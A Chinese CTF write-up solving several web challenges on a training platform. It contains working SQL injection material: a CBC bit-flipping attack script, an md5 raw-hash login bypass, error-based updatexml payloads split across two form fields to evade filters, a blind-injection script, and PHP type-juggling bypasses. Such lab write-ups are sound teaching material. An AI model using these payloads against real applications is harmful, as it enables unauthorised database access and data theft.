概述 解除CTF也有很多年了,但是真正的将网上的题目通关刷题还是没有过的,同时感觉水平下降的太厉害,这两个月准备把网上目前公开有的CTF环境全部刷一遍,同时收集题目做为素材,为后面的培训及靶场搭建做好准备。本文是2018年7月8日前所有Web类的题目通关Writeup。
Writeup 简单的登录题 题目链接 http://www.shiyanbar.com/ctf/2037
此题目虽然放在第一个,分数也不高,但是还是比较复杂的。
抓包发现一个提示
查看test.php
,发现是index.php
的源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 <?php define ("SECRET_KEY", '***********' );define ("METHOD", "aes-128 -cbc");error_reporting (0 );include ('conn.php' );function sqliCheck ($str ) { if (preg_match ("/\\\|,|-|#|=|~|union|like|procedure/i",$str )){ return 1 ; } return 0 ; } function get_random_iv ( ) { $random_iv ='' ; for ($i =0 ;$i <16 ;$i ++){ $random_iv .=chr (rand (1 ,255 )); } return $random_iv ; } function login ($info ) { $iv = get_random_iv (); $plain = serialize ($info ); $cipher = openssl_encrypt ($plain , METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv ); setcookie ("iv", base64_encode ($iv )); setcookie ("cipher", base64_encode ($cipher )); } function show_homepage ( ) { global $link ; if (isset ($_COOKIE ['cipher' ]) && isset ($_COOKIE ['iv' ])){ $cipher = base64_decode ($_COOKIE ['cipher' ]); $iv = base64_decode ($_COOKIE ["iv"]); if ($plain = openssl_decrypt ($cipher , METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv )){ $info = unserialize ($plain ) or die ("<p>base64_decode ('".base64_encode($plain)."' ) can't unserialize</p>"); $sql="select * from users limit ".$info[' id'].",0"; $result=mysqli_query($link,$sql); if(mysqli_num_rows($result)>0 or die(mysqli_error($link))){ $rows=mysqli_fetch_array($result); echo ' <h1>Hello!'.$rows[' username'].' </h1>'; } else{ echo ' <h1>Hello!</h1>'; } }else{ die("ERROR!"); } } } if(isset($_POST[' id'])){ $id = (string)$_POST[' id']; if(sqliCheck($id)) die("<h1 style=' color:red'>sql inject detected!</h1>"); $info = array(' id'=>$id); login($info); echo ' <h1>Hello!</h1>'; }else{ if(isset($_COOKIE["iv"])&&isset($_COOKIE[' cipher'])){ show_homepage(); }else{ echo ' <div id="wrapper" style="margin:0 auto;width:800px" > <form name="login-form" class ="login -form " action ="" method ="post "> <div class ="header "> <h1 >Login Form </h1 > <span >input id to login </span > </div > <div class ="content "> </div > <div class ="footer "> <p ></p > </div > </form > </div > '; } } ?> ;
代码实现的流程:
提交上来的id,先进行关键字的过滤,防止SQL注入,包括=、-、#、union、like、procedure等等,如果检测到这些敏感字符,则会直接die并返回显示Sql inject detected。
通过过滤的id,服务器会返回两个值:iv与cipher。iv:随机生成的16位值,再经过base64转码。cipher:id序列化、预设的SECRET_KEY(打码)、上面得到的iv值,三者经过aes-128-cbc加密得到cipher值。服务器把iv、cipher设置到cookie然后返回,顺便还显示了一个Hello!
如果Post给服务器的报文,没有包括id,而且cookie里有iv和cipher值,则进入函数show_homepage();
show_homepage()大致过程:将iv、cipher经过base64解码,然后把预设的SECRET_KEY(打码)、iv、cipher经过aes-128-cbc解密,得到plain。
如果plain无法反序列化,则die并返回plain的base64编码数据;如果可以序列化,则将id值拼接到sql语句中“select * from users limit .$info[‘id’] ,0”,并提交到数据库,返回数据,并附在返回的Hello后。
根据程序流程分析,我们的目标是实现sql注入,拿到数据库的内容应该就可以获取到Flag了。目前的sql语句为
1 $sql = "select * from users limit ".$info['id' ].",0";
根据sql语句,可以开看到,这条语句永远都返回的0条记录,除非能够进行注入,将后面的,0
注释掉,才能够获取到数据,如使用语句1,100#
。
由于过滤了#、--
,所以尝试用%00
,用Burp Repeater尝试,将id=1 %00
,post提交,然后用返回的iv、cipher值,作为第二次的cookie,然后去掉id=
(这样做的原因是因为源代码如果id参数不存在,则获取到cookie里的各种值作为查询的参数,而cookie内的值为上一次的查询值),再次post,结果能返回Hello!rootzz
。
如下图 将cookie按照服务器设置要求进行设置
没有按到flag,推测要获取整个库第一次提交id时,做了过滤,但是第二次提交iv和cipher值,是不会做过滤的,使用cbc翻转一个字节进行攻击(发送一个可以绕过字符过滤的id值,然后通过cbc翻转攻击将一部分需要改变的字符修改为我们想要的,达到sql注入目的)。
提交能经过过滤检测的SQL语句,如id=12。
结合得到的iv、cipher,用cbc字节翻转cipher对应id=12中2的字节,得到cipher_new,提交iv、cipher_new。
第二次提交得到plain(如果忘了是啥可以往回看)。
把iv、plain、‘id=12’序列第一行(16个字节为一行),进行异或操作,得到iv_new。
把iv_new、cipher_new,去掉id=xx post到服务器即可得到 id=1# 的结果,即Hello!rootzz。
使用脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 """ @Author : darkN0te @Create date : 2018-07-07 @description : 凯撒轮转密码解密 @Update date : """ from base64 import *import urllibimport requestsimport redef denglu (payload,idx,c1,c2 ): url=r'http://ctf5.shiyanbar.com/web/jiandan/index.php' payload = {'id' : payload} r = requests.post(url, data=payload) Set_Cookie=r.headers['Set-Cookie' ] iv=re.findall(r"iv=(.*?)," , Set_Cookie)[0 ] cipher=re.findall(r"cipher=(.*)" , Set_Cookie)[0 ] iv_raw = b64decode(urllib.unquote(iv)) cipher_raw=b64decode(urllib.unquote(cipher)) lst=list (cipher_raw) lst[idx]=chr (ord (lst[idx])^ord (c1)^ord (c2)) cipher_new='' .join(lst) cipher_new=urllib.quote(b64encode(cipher_new)) cookie_new={'iv' : iv,'cipher' :cipher_new} r = requests.post(url, cookies=cookie_new) cont=r.content plain = re.findall(r"base64_decode\('(.*?)'\)" , cont)[0 ] plain = b64decode(plain) first='a:1:{s:2:"id";s:' iv_new='' for i in range (16 ): iv_new += chr (ord (first[i])^ord (plain[i])^ord (iv_raw[i])) iv_new = urllib.quote(b64encode(iv_new)) cookie_new = {'iv' : iv_new, 'cipher' : cipher_new} r = requests.post(url, cookies=cookie_new) rcont = r.content print rcont denglu('12' ,4 ,'2' ,'#' ) denglu('0 2nion select * from((select 1)a join (select 2)b join (select 3)c);' +chr (0 ),6 ,'2' ,'u' ) denglu('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);' +chr (0 ),7 ,'2' ,'u' ) denglu("0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);" +chr (0 ),7 ,'2' ,'u' ) denglu("0 2nion select * from((select 1)a join (select * from you_want)b join (select 3)c);" +chr (0 ),6 ,'2' ,'u' )
得到结果
1 2 3 4 5 <h1 > <center > Hello!rootzz</center > </h1 > <h1 > <center > Hello!2</center > </h1 > <h1 > <center > Hello!users,you_want</center > </h1 > <h1 > <center > Hello!value</center > </h1 > <h1 > <center > Hello!flag{c42b2b758a5a36228156d9d671c37f19} </center > </h1 >
参考链接 * https://www.jianshu.com/p/4c1e5d24d781 。 * https://blog.csdn.net/csu_vc/article/details/79619309 。 * https://blog.csdn.net/jeffreynnn/article/details/77100389 。
后台登录 题目链接 http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php
此题目为MD5加密后的SQL注入
,参考链接 https://blog.csdn.net/greyfreedom/article/details/45846137 ,基本原理为
今天看到 sql = "SELECT * FROM admin WHERE pass = '".md5(sql=”SELECT∗FROMadminWHEREpass=′”.md5(password,true).”‘“; 这样一个sql,其实可以注入。思路比较明确,当md5后的hex转换成字符串后,如果包含 'or'
这样的字符串,所以只要找一个能够md5转化后为类似 'or'
的字符串,就可以实现注入达到登录目的,给出这样一个字符串ffifdyop
,md5后276f722736c95d99e921722cf9ed621c
,再转成字符串:'or'6
。
加了料的报错注入 题目链接 http://ctf5.shiyanbar.com/web/baocuo/index.php 打开网页查看源代码给出了这样的信息。
1 2 <center><h1>Please login!</h1></center><br><center>tips:post username and password...</center> <!-- $sql="select * from users where username='$username' and password='$password'"; -->
可以看到sql语句中又username和password。
测试后发现有sql注入检测,想怎么绕过。使用username=admin' or '1&password=admin
可以发现登录了,说明登陆后并不会给Flag,那么flag应该在数据库中,需要进行暴库。使用bp利用fuzz字典对username和password分别进行探测。
发现username过滤了()等符号,但是没有过滤updatexml,password过滤了updatexml,所以,考虑一下,可以使用这样的语句进行报错注入。
1 2 3 username=1 ' and updatexml/*&password=*/(1,concat(0x7e,(SELECT database()),0x7e),1)or' 1 转换为sql语句为: select * from users where username='' 1 ' and updatexml/* and password=' */(1 ,concat(0 x7e,(SELECT database()),0 x7e),1 )or'1'
完整payload
1 2 3 4 5 6 7 8 9 10 11 12 username=1' and updatexml(1,concat(0x7e,(SELECT database ()),0x7e ),1 )or '1 <br>XPATH syntax error: ' ~error_based_hpf~' username=1' and updatexml(1 ,concat(0x7e ,(SELECT group_concat(table_name) from information_schema.tables where !(table_schema'error_based_hpf' ) ),0x7e ),3 )or '1 <br>XPATH syntax error: ' ~ffll44jj,users~' username=1' and updatexml(1 ,concat(0x7e ,(SELECT group_concat(column_name) from information_schema.columns where !(table_name'ffll44jj' ) ),0x7e ),3 )or '1 <br>XPATH syntax error: ' ~value ~' username=1' and updatexml(1 ,concat(0x7e ,(SELECT value from ffll44jj),0x7e ),3 )or '1 <br>XPATH syntax error: ' ~flag{err0r_b4sed_sqli_+_hpf}~'
认真一点! 题目链接 http://shiyanbar.com/ctf/2009
拿到题目后,随意测试了一下。
按照套路,就是通过该参数进行注入,然后获取数据库中的flag。先进行一下fuzz,包大小为802的都是被过滤的字符。
经过其他测试,该题目对or
也进行了处理,需要使用大小写绕过,既Or
等。注意空格被干掉了,用什么%09替换掉即可,再往后information什么倒是都没禁掉,但是注意information中包含or,需要替换掉。写一个二分盲注脚本即可,具体用到limit的offset偏移。然后它禁掉了substr,但是我们还有mid,用mid(table from offset)即可,使用盲注脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 import requestsimport urlliburl = 'http://ctf5.shiyanbar.com/web/earnest/index.php' temp = 0 headers = { "Host" : "ctf5.shiyanbar.com" , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" , "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" , "Accept-Encoding" : "gzip, deflate" , "Referer" : "http://ctf5.shiyanbar.com/web/earnest/index.php" , "Content-Type" : "application/x-www-form-urlencoded" , "Content-Length" : "81" , "Connection" : "keep-alive" , "Upgrade-Insecure-Requests" : "1" } def make_payload (target ): return target.replace(' ' ,'%09' ).replace('or' ,'Or' ) def get_length (target ): global headers global url for i in range (0 ,50 ): print i payload = target[:-5 ]+str (i)+target[-5 :] payload = urllib.unquote(make_payload(payload)) data = {"id" :payload,"submit" :"%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2" } content = requests.post(url=url,headers=headers,data=data).text if "You are in" in content: return i return 0 def search2 (l,r,target ): if l>r: return global headers global url global temp mid = (l+r)/2 payload = target[:-5 ]+str (mid)+target[-5 :] payload = urllib.unquote(make_payload(payload)) print payload data = {"id" :payload,"submit" :"%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2" } content = requests.post(url=url,headers=headers,data=data).text if "You are in" in content: temp = max (temp,mid) search2(mid+1 ,r,target) else : search2(l,mid-1 ,target) def get_content (column,table,offset,len ,where,sign ): global temp content = '' for i in range (1 ,len +1 ): temp = 0 if sign==0 : payload = "0'Or(select ascii((select mid(" +str (column)+" from " +str (i)+") from " +str (table)+" limit 1 offset " +str (offset)+"))>=)Or'0" else : payload = "0'Or(select ascii((select mid(" +str (column)+" from " +str (i)+") from " +str (table)+" " +str (where)+" limit 1 offset " +str (offset)+"))>=)Or'0" search2(0 ,255 ,payload) content+=chr (temp) print content return content flag = get_content('fL$4G' ,'fiag' ,"0" ,19 ,'0' ,0 )
你真的会PHP吗 题目链接 http://shiyanbar.com/ctf/2008
访问首页后可以看到一个提示,查看6c525af4059b4fe7d8c33a.txt
文件。 查看后发现是index.php
的源代码,进行审计。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 <?php $info = "" ; $req = [];$flag ="xxxxxxxxxx" ;ini_set ("display_error" , false ); error_reporting (0 ); if (!isset ($_POST ['number' ])){ header ("hint:6c525af4059b4fe7d8c33a.txt" ); die ("have a fun!!" ); } foreach ([$_POST ] as $global_var ) { foreach ($global_var as $key => $value ) { $value = trim ($value ); is_string ($value ) && $req [$key ] = addslashes ($value ); } } function is_palindrome_number ($number ) { $number = strval ($number ); $i = 0 ; $j = strlen ($number ) - 1 ; while ($i < $j ) { if ($number [$i ] !== $number [$j ]) { return false ; } $i ++; $j --; } return true ; } if (is_numeric ($_REQUEST ['number' ])){ $info ="sorry, you cann't input a number!" ; }elseif ($req ['number' ]!=strval (intval ($req ['number' ]))){ $info = "number must be equal to it's integer!! " ; }else { $value1 = intval ($req ["number" ]); $value2 = intval (strrev ($req ["number" ])); if ($value1 !=$value2 ){ $info ="no, this is not a palindrome number!" ; }else { if (is_palindrome_number ($req ["number" ])){ $info = "nice! {$value1} is a palindrome number!" ; }else { $info =$flag ; } } } echo $info ;
经过审计我们可以发现如果我们要拿到flag,POST的number需要满足以下条件:
不为空,且不能是一个数值型数字,包括小数。(由is_numeric函数判断) 。
不能是一个回文数。(is_palindrome_number判断)。
该数的反转的整数值应该和它本身的整数值相等。
下面给出两种解法:
利用intval函数溢出绕过 Intval函数获取变量整数值。 Intval最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例,在这样的系统上, intval(‘1000000000000’) 会返回 2147483647。64 位系统上,最大带符号的 integer 值是 9223372036854775807。 通过上面我们知道服务器的操作系统是32位的,所以我们构造2147483647就可以同时满足2,3条件。通过把空字符可以绕过is_numeric的判断(如%00,%20),所以我们构造以下poc,number=2147483647%00 和number=2147483647%20都可。 对于第一个条件,我们需要构造是让我们的poc被函数判断为非数值,但又不影响它值的构造,理所当然想到空格字符和空字符。 而经过测试我发现is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后。所以,查看函数发现该函数对对于第一个空格字符会跳过空格字符判断,接着后面的判断!!
用科学计数法构造0=0 因为要求不能为回文数,但又要满足intval(req["number"])=intval(strrev(req[“number”])=intval(strrev(req[“number”])),所以我们采用科学计数法构造poc为number=0e-0%00,这样的话我们就可以绕过。